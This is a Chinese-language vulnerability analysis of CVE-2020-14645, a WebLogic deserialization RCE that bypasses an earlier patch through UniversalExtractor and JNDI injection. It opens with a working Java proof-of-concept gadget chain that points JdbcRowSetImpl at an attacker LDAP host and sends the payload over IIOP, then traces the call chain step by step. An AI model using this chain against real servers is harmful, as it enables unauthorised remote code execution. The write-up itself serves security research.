前言
近期公布的關于 Weblogic 的反序列化RCE漏洞 CVE-2020-14645,是對 CVE-2020-2883的補丁進行繞過。之前的 CVE-2020-2883 本質上是通過 ReflectionExtractor 調用任意方法,從而實現調用 Runtime 對象的 exec 方法執行任意命令,補丁將 ReflectionExtractor 列入黑名單,那么可以使用 UniversalExtractor 重新構造一條利用鏈。UniversalExtractor 任意調用 get、is方法導致可利用 JDNI 遠程動態類加載。UniversalExtractor 是 Weblogic 12.2.1.4.0 版本中獨有的,本文也是基于該版本進行分析。
漏洞復現
漏洞利用 POC,以下的分析也是基于該 POC 進行分析
ChainedExtractor chainedExtractor = new ChainedExtractor(new ValueExtractor[]{new ReflectionExtractor("toString",new Object[]{})});
PriorityQueue<Object> queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor));
queue.add("1");
queue.add("1");
//構造 UniversalExtract 調用 JdbcRowSetImpl 對象的任意方法
UniversalExtractor universalExtractor = new UniversalExtractor();
Object object = new Object[]{};
Reflections.setFieldValue(universalExtractor,"m_aoParam",object);
Reflections.setFieldValue(universalExtractor,"m_sName","DatabaseMetaData");
Reflections.setFieldValue(universalExtractor,"m_fMethod",false);
ValueExtractor[] valueExtractor_list = new ValueExtractor[]{universalExtractor};
Field[] fields = ChainedExtractor.class.getDeclaredFields();
Field field = ChainedExtractor.class.getSuperclass().getDeclaredField("m_aExtractor");
field.setAccessible(true);
field.set(chainedExtractor,valueExtractor_list);
JdbcRowSetImpl jdbcRowSet = Reflections.createWithoutConstructor(JdbcRowSetImpl.class);
jdbcRowSet.setDataSourceName("ldap://ip:端口/uaa");
Object[] queueArray = (Object[])((Object[]) Reflections.getFieldValue(queue, "queue"));
queueArray[0] = jdbcRowSet;
// 發送 IIOP 協議數據包
Context context = getContext("iiop://ip:port");
context.rebind("hello", queue);
成功彈出計算機
漏洞分析
了解過 JDNI 注入的都知道漏洞在 lookup() 出發,這里在 JdbcRowSetImpl.class 中 326 行 lookup() 函數處設置斷點,以下為漏洞利用的簡要調用鏈條:
我們從頭分析,我們都知道反序列化的根本是對象反序列化的時候,我們從 IO 流里面讀出數據的時候再以這種規則把對象還原回來。我們在 in.readObject() 處打斷點,跟進查看 PriorityQueue.readObject() 方法
這里 782 執行 s.defaultReadObject() ,785 執行 s.readInt() 賦給對象輸入流大小以及數組長度,并在 790 行執行 for 循環,依次將 s.readObject() 方法賦值給 queue 對象數組,這里 queue 對象數組長度為 2。
接著往下跟,查看 heapify() 方法。PriorityQueue 實際上是一個最小堆,這里通過 siftDown() 方法進行排序實現堆化,
跟進 siftDown() 方法,這里首先判斷 comparator 是否為空
我們可以看看 comparator 是怎么來的,由此可見是在 PriorityQueue 的構造函數中被賦值的,在初始化構造時,除了給 this.comparator 進行賦值之外,通過 initialCapacity 進行初始化長度。
comparator 不為空,所以我們執行的是 siftDownUsingComparator() 方法,所以跟進 siftDownUsingComparator() 方法。
繼續跟進 ExtractorComparator.compare() 方法
這里調用的是 this.m_extractor.extract() 方法,
來看看 this.m_extractor,這里傳入了 extractor,
this.m_extractor 的值是與傳入的 extractor 有關的。這里需要構造 this.m_extractor 為 ChainedExtractor,才可以調用 ChainedExtractor 的 extract() 方法實現 extract() 調用。
繼續跟進 ChainedExtractor.extract() 方法,
可以發現會遍歷 aExtractor 數組,并調用 extract() 方法。
跟進 extract() 方法,此處由于 m_cacheTarget 使用了 transient 修飾,無法被反序列化,因此只能執行 else 部分,最后通過 this.extractComplex(oTarget) 進行最終觸發漏洞點
this.extractComplex(oTarget) 中可以看到最后通過 method.invoke() 進行反射執行,其中 oTarget 和 aoParam 都是可控的。
我們跟進190的 findMethod() 方法,在 475 行需要使 fExactMatch 為 true,fStatic 為 false 才可讓傳入 clz 的可以獲取任意方法。fStatic 是可控的,而 fExactMatch 默認為true ,只要沒進入 for 循環即可保持 true 不變,使 cParams 為空即 aclzParam 為空的 Class 數組即可,此處 aclzParam 從 getClassArray() 方法獲取。
在 getClasssArray 中通過獲取輸入參數的值對應的 Class 進行處理。
由于傳入的 aoParam 是一個空的 Object[],所以獲取對應的 Class 也為空的 Class[],跟入 isPropertyExtractor() 中進行進行獲取可以看到將 this._fMethod 獲取相反的值。
由于 m_fMethod 被 transient 修飾,不會被序列化,通過分析 m_fMethod 賦值過程,可發現在 init() 時會獲取sCName,并且通過判定是否為 () 結尾來進行賦值。
由于參數為 this 的原因,導致getValueExtractorCanonicalName()方法返回的都是 null。
跟入 getValueExtractorCanonicalName()函數,最后是通過調用 computeValuExtractorCanonicalName 進行處理。
跟入 computeValuExtractorCanonicalName() 之后,如果 aoParam不為 null 且數組長度大于 0 就會返回 null,由于 aoParam 必須為 null ,因此我們調用的方法必須是無參的。接著如果方法名 sName 不一 () 結尾,就會直接返回方法名。否則會判斷方法名是否以 VALUE_EXTRACTOR_BEAN_ACCESSOR_PREFIXES 數組中的前綴開頭,如果是的話就會截取掉并返回。
回到 extractComplex() 方法中,在 if 條件里會對上述返回的方法名做首字母大寫處理,然后拼接 BEAN_ACCESSOR_PREFIXES 數組中的前綴,判斷 clzTarget 類中是否含有拼接后的方法。這里可以看到我們只能調用任意類中的 get 和 is 開頭的無參方法。也就解釋了為什么 poc 會想到利用 JNDI 來進行遠程動態類加載。
跟進 method.invoke() 方法,會直接跳轉至 JdbcRowSetImpl.getDatabaseMetaData()。
由于JdbcRowSetImpl.getDatabaseMetaData(),調用了 this.connect(),可以看到在 326 行執行了 lookup 操作,觸發了漏洞。
至此,跟進 getDataSourceName(),可看到調用了可控制的 dataSource。
總結
此漏洞主要以繞過黑名單的形式,利用 UniversalExtractor 任意調用get、is方法導致 JNDI 注入,由此拓展 CVE-2020-14625。